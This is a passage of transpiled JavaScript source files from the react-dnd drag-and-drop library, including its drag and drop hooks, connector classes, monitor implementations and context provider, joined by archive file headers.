_i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect'; import { useCollector } from './useCollector'; export function useMonitorOutput(monitor, collect, onCollect) { var _useCollector = useCollector(monitor, collect, onCollect), _useCollector2 = _slicedToArray(_useCollector, 2), collected = _useCollector2[0], updateCollected = _useCollector2[1]; useIsomorphicLayoutEffect(function subscribeToMonitorStateChange() { var handlerId = monitor.getHandlerId(); if (handlerId == null) { return undefined; } return monitor.subscribeToStateChange(updateCollected, { handlerIds: [handlerId] }); }, [monitor, updateCollected]); return collected; }esm/hooks/internal/drop.js000064400000006316151677306070011613 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } import { useMemo } from 'react'; import { registerTarget } from '../../common/registration'; import { useDragDropManager } from '../useDragDropManager'; import { TargetConnector } from '../../common/TargetConnector'; import { DropTargetMonitorImpl } from '../../common/DropTargetMonitorImpl'; import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect'; export function useDropTargetMonitor() { var manager = useDragDropManager(); var monitor = useMemo(function () { return new DropTargetMonitorImpl(manager); }, [manager]); var connector = useMemo(function () { return new TargetConnector(manager.getBackend()); }, [manager]); return [monitor, connector]; } export function useDropHandler(spec, monitor, connector) { var manager = useDragDropManager(); var handler = useMemo(function () { return { canDrop: function canDrop() { var canDrop = spec.current.canDrop; return canDrop ? canDrop(monitor.getItem(), monitor) : true; }, hover: function hover() { var hover = spec.current.hover; if (hover) { hover(monitor.getItem(), monitor); } }, drop: function drop() { var drop = spec.current.drop; if (drop) { return drop(monitor.getItem(), monitor); } } }; }, [monitor]); useIsomorphicLayoutEffect(function registerHandler() { var _registerTarget = registerTarget(spec.current.accept, handler, manager), _registerTarget2 = _slicedToArray(_registerTarget, 2), handlerId = _registerTarget2[0], unregister = _registerTarget2[1]; monitor.receiveHandlerId(handlerId); connector.receiveHandlerId(handlerId); return unregister; }, [monitor, connector]); }esm/hooks/internal/useCollector.js000064400000005015151677306070013305 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } import { shallowEqual } from '@react-dnd/shallowequal'; import { useState, useCallback } from 'react'; import { useIsomorphicLayoutEffect } from './useIsomorphicLayoutEffect'; /** * * @param monitor The monitor to collect state from * @param collect The collecting function * @param onUpdate A method to invoke when updates occur */ export function useCollector(monitor, collect, onUpdate) { var _useState = useState(function () { return collect(monitor); }), _useState2 = _slicedToArray(_useState, 2), collected = _useState2[0], setCollected = _useState2[1]; var updateCollected = useCallback(function () { var nextValue = collect(monitor); if (!shallowEqual(collected, nextValue)) { setCollected(nextValue); if (onUpdate) { onUpdate(); } } }, [collected, monitor, onUpdate]); // update the collected properties after the first render // and the components are attached to dnd-core useIsomorphicLayoutEffect(updateCollected, []); return [collected, updateCollected]; }esm/hooks/index.js000064400000000173151677306070010135 0ustar00export * from './useDrag'; export * from './useDrop'; export * from './useDragLayer'; export * from './useDragDropManager';esm/hooks/useDrag.js000064400000006164151677306070010426 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } import { useRef, useMemo } from 'react'; import { invariant } from '@react-dnd/invariant'; import { useMonitorOutput } from './internal/useMonitorOutput'; import { useIsomorphicLayoutEffect } from './internal/useIsomorphicLayoutEffect'; import { useDragSourceMonitor, useDragHandler } from './internal/drag'; /** * useDragSource hook * @param sourceSpec The drag source specification * */ export function useDrag(spec) { var specRef = useRef(spec); specRef.current = spec; // TODO: wire options into createSourceConnector invariant(spec.item != null, 'item must be defined'); invariant(spec.item.type != null, 'item type must be defined'); var _useDragSourceMonitor = useDragSourceMonitor(), _useDragSourceMonitor2 = _slicedToArray(_useDragSourceMonitor, 2), monitor = _useDragSourceMonitor2[0], connector = _useDragSourceMonitor2[1]; useDragHandler(specRef, monitor, connector); var result = useMonitorOutput(monitor, specRef.current.collect || function () { return {}; }, function () { return connector.reconnect(); }); var connectDragSource = useMemo(function () { return connector.hooks.dragSource(); }, [connector]); var connectDragPreview = useMemo(function () { return connector.hooks.dragPreview(); }, [connector]); useIsomorphicLayoutEffect(function () { connector.dragSourceOptions = specRef.current.options || null; connector.reconnect(); }, [connector]); useIsomorphicLayoutEffect(function () { connector.dragPreviewOptions = specRef.current.previewOptions || null; connector.reconnect(); }, [connector]); return [result, connectDragSource, connectDragPreview]; }esm/hooks/useDragLayer.js000064400000004342151677306070011417 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } import { useEffect } from 'react'; import { useDragDropManager } from './useDragDropManager'; import { useCollector } from './internal/useCollector'; /** * useDragLayer Hook * @param collector The property collector */ export function useDragLayer(collect) { var dragDropManager = useDragDropManager(); var monitor = dragDropManager.getMonitor(); var _useCollector = useCollector(monitor, collect), _useCollector2 = _slicedToArray(_useCollector, 2), collected = _useCollector2[0], updateCollected = _useCollector2[1]; useEffect(function () { return monitor.subscribeToOffsetChange(updateCollected); }); useEffect(function () { return monitor.subscribeToStateChange(updateCollected); }); return collected; }esm/hooks/useDragDropManager.js000064400000000661151677306070012542 0ustar00import { useContext } from 'react'; import { invariant } from '@react-dnd/invariant'; import { DndContext } from '../common/DndContext'; /** * A hook to retrieve the DragDropManager from Context */ export function useDragDropManager() { var _useContext = useContext(DndContext), dragDropManager = _useContext.dragDropManager; invariant(dragDropManager != null, 'Expected drag drop context'); return dragDropManager; }esm/common/SourceConnector.js000064400000015435151677306070012315 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { wrapConnectorHooks } from './wrapConnectorHooks'; import { isRef } from '../utils/isRef'; import { shallowEqual } from '@react-dnd/shallowequal'; export var SourceConnector = /*#__PURE__*/function () { function SourceConnector(backend) { var _this = this; _classCallCheck(this, SourceConnector); this.hooks = wrapConnectorHooks({ dragSource: function dragSource(node, options) { _this.clearDragSource(); _this.dragSourceOptions = options || null; if (isRef(node)) { _this.dragSourceRef = node; } else { _this.dragSourceNode = node; } _this.reconnectDragSource(); }, dragPreview: function dragPreview(node, options) { _this.clearDragPreview(); _this.dragPreviewOptions = options || null; if (isRef(node)) { _this.dragPreviewRef = node; } else { _this.dragPreviewNode = node; } _this.reconnectDragPreview(); } }); this.handlerId = null; // The drop target may either be attached via ref or connect function this.dragSourceRef = null; this.dragSourceOptionsInternal = null; // The drag preview may either be attached via ref or connect function this.dragPreviewRef = null; this.dragPreviewOptionsInternal = null; this.lastConnectedHandlerId = null; this.lastConnectedDragSource = null; this.lastConnectedDragSourceOptions = null; this.lastConnectedDragPreview = null; this.lastConnectedDragPreviewOptions = null; this.backend = backend; } _createClass(SourceConnector, [{ key: "receiveHandlerId", value: function receiveHandlerId(newHandlerId) { if (this.handlerId === newHandlerId) { return; } this.handlerId = newHandlerId; this.reconnect(); } }, { key: "reconnect", value: function reconnect() { this.reconnectDragSource(); this.reconnectDragPreview(); } }, { key: "reconnectDragSource", value: function reconnectDragSource() { var dragSource = this.dragSource; // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didConnectedDragSourceChange() || this.didDragSourceOptionsChange(); if (didChange) { this.disconnectDragSource(); } if (!this.handlerId) { return; } if (!dragSource) { this.lastConnectedDragSource = dragSource; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDragSource = dragSource; this.lastConnectedDragSourceOptions = this.dragSourceOptions; this.dragSourceUnsubscribe = this.backend.connectDragSource(this.handlerId, dragSource, this.dragSourceOptions); } } }, { key: "reconnectDragPreview", value: function reconnectDragPreview() { var dragPreview = this.dragPreview; // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didConnectedDragPreviewChange() || this.didDragPreviewOptionsChange(); if (didChange) { this.disconnectDragPreview(); } if (!this.handlerId) { return; } if (!dragPreview) { this.lastConnectedDragPreview = dragPreview; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDragPreview = dragPreview; this.lastConnectedDragPreviewOptions = this.dragPreviewOptions; this.dragPreviewUnsubscribe = this.backend.connectDragPreview(this.handlerId, dragPreview, this.dragPreviewOptions); } } }, { key: "didHandlerIdChange", value: function didHandlerIdChange() { return this.lastConnectedHandlerId !== this.handlerId; } }, { key: "didConnectedDragSourceChange", value: function didConnectedDragSourceChange() { return this.lastConnectedDragSource !== this.dragSource; } }, { key: "didConnectedDragPreviewChange", value: function didConnectedDragPreviewChange() { return this.lastConnectedDragPreview !== this.dragPreview; } }, { key: "didDragSourceOptionsChange", value: function didDragSourceOptionsChange() { return !shallowEqual(this.lastConnectedDragSourceOptions, this.dragSourceOptions); } }, { key: "didDragPreviewOptionsChange", value: function didDragPreviewOptionsChange() { return !shallowEqual(this.lastConnectedDragPreviewOptions, this.dragPreviewOptions); } }, { key: "disconnectDragSource", value: function disconnectDragSource() { if (this.dragSourceUnsubscribe) { this.dragSourceUnsubscribe(); this.dragSourceUnsubscribe = undefined; } } }, { key: "disconnectDragPreview", value: function disconnectDragPreview() { if (this.dragPreviewUnsubscribe) { this.dragPreviewUnsubscribe(); this.dragPreviewUnsubscribe = undefined; this.dragPreviewNode = null; this.dragPreviewRef = null; } } }, { key: "clearDragSource", value: function clearDragSource() { this.dragSourceNode = null; this.dragSourceRef = null; } }, { key: "clearDragPreview", value: function clearDragPreview() { this.dragPreviewNode = null; this.dragPreviewRef = null; } }, { key: "connectTarget", get: function get() { return this.dragSource; } }, { key: "dragSourceOptions", get: function get() { return this.dragSourceOptionsInternal; }, set: function set(options) { this.dragSourceOptionsInternal = options; } }, { key: "dragPreviewOptions", get: function get() { return this.dragPreviewOptionsInternal; }, set: function set(options) { this.dragPreviewOptionsInternal = options; } }, { key: "dragSource", get: function get() { return this.dragSourceNode || this.dragSourceRef && this.dragSourceRef.current; } }, { key: "dragPreview", get: function get() { return this.dragPreviewNode || this.dragPreviewRef && this.dragPreviewRef.current; } }]); return SourceConnector; }();esm/common/DropTargetMonitorImpl.js000064400000007123151677306070013442 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { invariant } from '@react-dnd/invariant'; var isCallingCanDrop = false; export var DropTargetMonitorImpl = /*#__PURE__*/function () { function DropTargetMonitorImpl(manager) { _classCallCheck(this, DropTargetMonitorImpl); this.targetId = null; this.internalMonitor = manager.getMonitor(); } _createClass(DropTargetMonitorImpl, [{ key: "receiveHandlerId", value: function receiveHandlerId(targetId) { this.targetId = targetId; } }, { key: "getHandlerId", value: function getHandlerId() { return this.targetId; } }, { key: "subscribeToStateChange", value: function subscribeToStateChange(listener, options) { return this.internalMonitor.subscribeToStateChange(listener, options); } }, { key: "canDrop", value: function canDrop() { // Cut out early if the target id has not been set. This should prevent errors // where the user has an older version of dnd-core like in // https://github.com/react-dnd/react-dnd/issues/1310 if (!this.targetId) { return false; } invariant(!isCallingCanDrop, 'You may not call monitor.canDrop() inside your canDrop() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor'); try { isCallingCanDrop = true; return this.internalMonitor.canDropOnTarget(this.targetId); } finally { isCallingCanDrop = false; } } }, { key: "isOver", value: function isOver(options) { if (!this.targetId) { return false; } return this.internalMonitor.isOverTarget(this.targetId, options); } }, { key: "getItemType", value: function getItemType() { return this.internalMonitor.getItemType(); } }, { key: "getItem", value: function getItem() { return this.internalMonitor.getItem(); } }, { key: "getDropResult", value: function getDropResult() { return this.internalMonitor.getDropResult(); } }, { key: "didDrop", value: function didDrop() { return this.internalMonitor.didDrop(); } }, { key: "getInitialClientOffset", value: function getInitialClientOffset() { return this.internalMonitor.getInitialClientOffset(); } }, { key: "getInitialSourceClientOffset", value: function getInitialSourceClientOffset() { return this.internalMonitor.getInitialSourceClientOffset(); } }, { key: "getSourceClientOffset", value: function getSourceClientOffset() { return this.internalMonitor.getSourceClientOffset(); } }, { key: "getClientOffset", value: function getClientOffset() { return this.internalMonitor.getClientOffset(); } }, { key: "getDifferenceFromInitialOffset", value: function getDifferenceFromInitialOffset() { return this.internalMonitor.getDifferenceFromInitialOffset(); } }]); return DropTargetMonitorImpl; }();esm/common/DndProvider.js000064400000010612151677306070011412 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } import * as React from 'react'; import { memo } from 'react'; import { DndContext, createDndContext } from './DndContext'; var refCount = 0; /** * A React component that provides the React-DnD context */ export var DndProvider = memo(function (_ref) { var children = _ref.children, props = _objectWithoutProperties(_ref, ["children"]); var _getDndContextValue = getDndContextValue(props), _getDndContextValue2 = _slicedToArray(_getDndContextValue, 2), manager = _getDndContextValue2[0], isGlobalInstance = _getDndContextValue2[1]; // memoized from props /** * If the global context was used to store the DND context * then where theres no more references to it we should * clean it up to avoid memory leaks */ React.useEffect(function () { if (isGlobalInstance) { refCount++; } return function () { if (isGlobalInstance) { refCount--; if (refCount === 0) { var context = getGlobalContext(); context[instanceSymbol] = null; } } }; }, []); return React.createElement(DndContext.Provider, { value: manager }, children); }); DndProvider.displayName = 'DndProvider'; function getDndContextValue(props) { if ('manager' in props) { var _manager = { dragDropManager: props.manager }; return [_manager, false]; } var manager = createSingletonDndContext(props.backend, props.context, props.options, props.debugMode); var isGlobalInstance = !props.context; return [manager, isGlobalInstance]; } var instanceSymbol = Symbol.for('__REACT_DND_CONTEXT_INSTANCE__'); function createSingletonDndContext(backend) { var context = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : getGlobalContext(); var options = arguments.length > 2 ? arguments[2] : undefined; var debugMode = arguments.length > 3 ? arguments[3] : undefined; var ctx = context; if (!ctx[instanceSymbol]) { ctx[instanceSymbol] = createDndContext(backend, context, options, debugMode); } return ctx[instanceSymbol]; } function getGlobalContext() { return typeof global !== 'undefined' ? global : window; }esm/common/wrapConnectorHooks.js000064400000004166151677306070013031 0ustar00import { isValidElement } from 'react'; import { cloneWithRef } from '../utils/cloneWithRef'; function throwIfCompositeComponentElement(element) { // Custom components can no longer be wrapped directly in React DnD 2.0 // so that we don't need to depend on findDOMNode() from react-dom. if (typeof element.type === 'string') { return; } var displayName = element.type.displayName || element.type.name || 'the component'; throw new Error('Only native element nodes can now be passed to React DnD connectors.' + "You can either wrap ".concat(displayName, " into a <div>, or turn it into a ") + 'drag source or a drop target itself.'); } function wrapHookToRecognizeElement(hook) { return function () { var elementOrNode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; // When passed a node, call the hook straight away. if (!isValidElement(elementOrNode)) { var node = elementOrNode; hook(node, options); // return the node so it can be chained (e.g. when within callback refs // <div ref={node => connectDragSource(connectDropTarget(node))}/> return node; } // If passed a ReactElement, clone it and attach this function as a ref. // This helps us achieve a neat API where user doesn't even know that refs // are being used under the hood. var element = elementOrNode; throwIfCompositeComponentElement(element); // When no options are passed, use the hook directly var ref = options ? function (node) { return hook(node, options); } : hook; return cloneWithRef(element, ref); }; } export function wrapConnectorHooks(hooks) { var wrappedHooks = {}; Object.keys(hooks).forEach(function (key) { var hook = hooks[key]; // ref objects should be passed straight through without wrapping if (key.endsWith('Ref')) { wrappedHooks[key] = hooks[key]; } else { var wrappedHook = wrapHookToRecognizeElement(hook); wrappedHooks[key] = function () { return wrappedHook; }; } }); return wrappedHooks; }esm/common/index.js000064400000000140151677306070010274 0ustar00export * from './DndContext'; export * from './DndProvider'; export * from './DragPreviewImage';esm/common/TargetConnector.js000064400000007775151677306070012313 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { shallowEqual } from '@react-dnd/shallowequal'; import { wrapConnectorHooks } from './wrapConnectorHooks'; import { isRef } from '../utils/isRef'; export var TargetConnector = /*#__PURE__*/function () { function TargetConnector(backend) { var _this = this; _classCallCheck(this, TargetConnector); this.hooks = wrapConnectorHooks({ dropTarget: function dropTarget(node, options) { _this.clearDropTarget(); _this.dropTargetOptions = options; if (isRef(node)) { _this.dropTargetRef = node; } else { _this.dropTargetNode = node; } _this.reconnect(); } }); this.handlerId = null; // The drop target may either be attached via ref or connect function this.dropTargetRef = null; this.dropTargetOptionsInternal = null; this.lastConnectedHandlerId = null; this.lastConnectedDropTarget = null; this.lastConnectedDropTargetOptions = null; this.backend = backend; } _createClass(TargetConnector, [{ key: "reconnect", value: function reconnect() { // if nothing has changed then don't resubscribe var didChange = this.didHandlerIdChange() || this.didDropTargetChange() || this.didOptionsChange(); if (didChange) { this.disconnectDropTarget(); } var dropTarget = this.dropTarget; if (!this.handlerId) { return; } if (!dropTarget) { this.lastConnectedDropTarget = dropTarget; return; } if (didChange) { this.lastConnectedHandlerId = this.handlerId; this.lastConnectedDropTarget = dropTarget; this.lastConnectedDropTargetOptions = this.dropTargetOptions; this.unsubscribeDropTarget = this.backend.connectDropTarget(this.handlerId, dropTarget, this.dropTargetOptions); } } }, { key: "receiveHandlerId", value: function receiveHandlerId(newHandlerId) { if (newHandlerId === this.handlerId) { return; } this.handlerId = newHandlerId; this.reconnect(); } }, { key: "didHandlerIdChange", value: function didHandlerIdChange() { return this.lastConnectedHandlerId !== this.handlerId; } }, { key: "didDropTargetChange", value: function didDropTargetChange() { return this.lastConnectedDropTarget !== this.dropTarget; } }, { key: "didOptionsChange", value: function didOptionsChange() { return !shallowEqual(this.lastConnectedDropTargetOptions, this.dropTargetOptions); } }, { key: "disconnectDropTarget", value: function disconnectDropTarget() { if (this.unsubscribeDropTarget) { this.unsubscribeDropTarget(); this.unsubscribeDropTarget = undefined; } } }, { key: "clearDropTarget", value: function clearDropTarget() { this.dropTargetRef = null; this.dropTargetNode = null; } }, { key: "connectTarget", get: function get() { return this.dropTarget; } }, { key: "dropTargetOptions", get: function get() { return this.dropTargetOptionsInternal; }, set: function set(options) { this.dropTargetOptionsInternal = options; } }, { key: "dropTarget", get: function get() { return this.dropTargetNode || this.dropTargetRef && this.dropTargetRef.current; } }]); return TargetConnector; }();esm/common/DndContext.js000064400000000714151677306070011246 0ustar00import * as React from 'react'; import { createDragDropManager } from 'dnd-core'; /** * Create the React Context */ export var DndContext = React.createContext({ dragDropManager: undefined }); /** * Creates the context object we're providing * @param backend * @param context */ export function createDndContext(backend, context, options, debugMode) { return { dragDropManager: createDragDropManager(backend, context, options, debugMode) }; }esm/common/DragPreviewImage.js000064400000001123151677306070012351 0ustar00import * as React from 'react'; /* * A utility for rendering a drag preview image */ export var DragPreviewImage = React.memo(function (_ref) { var connect = _ref.connect, src = _ref.src; React.useEffect(function () { if (typeof Image === 'undefined') return; var connected = false; var img = new Image(); img.src = src; img.onload = function () { connect(img); connected = true; }; return function () { if (connected) { connect(null); } }; }); return null; }); DragPreviewImage.displayName = 'DragPreviewImage';esm/common/DragSourceMonitorImpl.js000064400000011444151677306070013426 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { invariant } from '@react-dnd/invariant'; var isCallingCanDrag = false; var isCallingIsDragging = false; export var DragSourceMonitorImpl = /*#__PURE__*/function () { function DragSourceMonitorImpl(manager) { _classCallCheck(this, DragSourceMonitorImpl); this.sourceId = null; this.internalMonitor = manager.getMonitor(); } _createClass(DragSourceMonitorImpl, [{ key: "receiveHandlerId", value: function receiveHandlerId(sourceId) { this.sourceId = sourceId; } }, { key: "getHandlerId", value: function getHandlerId() { return this.sourceId; } }, { key: "canDrag", value: function canDrag() { invariant(!isCallingCanDrag, 'You may not call monitor.canDrag() inside your canDrag() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor'); try { isCallingCanDrag = true; return this.internalMonitor.canDragSource(this.sourceId); } finally { isCallingCanDrag = false; } } }, { key: "isDragging", value: function isDragging() { if (!this.sourceId) { return false; } invariant(!isCallingIsDragging, 'You may not call monitor.isDragging() inside your isDragging() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor'); try { isCallingIsDragging = true; return this.internalMonitor.isDraggingSource(this.sourceId); } finally { isCallingIsDragging = false; } } }, { key: "subscribeToStateChange", value: function subscribeToStateChange(listener, options) { return this.internalMonitor.subscribeToStateChange(listener, options); } }, { key: "isDraggingSource", value: function isDraggingSource(sourceId) { return this.internalMonitor.isDraggingSource(sourceId); } }, { key: "isOverTarget", value: function isOverTarget(targetId, options) { return this.internalMonitor.isOverTarget(targetId, options); } }, { key: "getTargetIds", value: function getTargetIds() { return this.internalMonitor.getTargetIds(); } }, { key: "isSourcePublic", value: function isSourcePublic() { return this.internalMonitor.isSourcePublic(); } }, { key: "getSourceId", value: function getSourceId() { return this.internalMonitor.getSourceId(); } }, { key: "subscribeToOffsetChange", value: function subscribeToOffsetChange(listener) { return this.internalMonitor.subscribeToOffsetChange(listener); } }, { key: "canDragSource", value: function canDragSource(sourceId) { return this.internalMonitor.canDragSource(sourceId); } }, 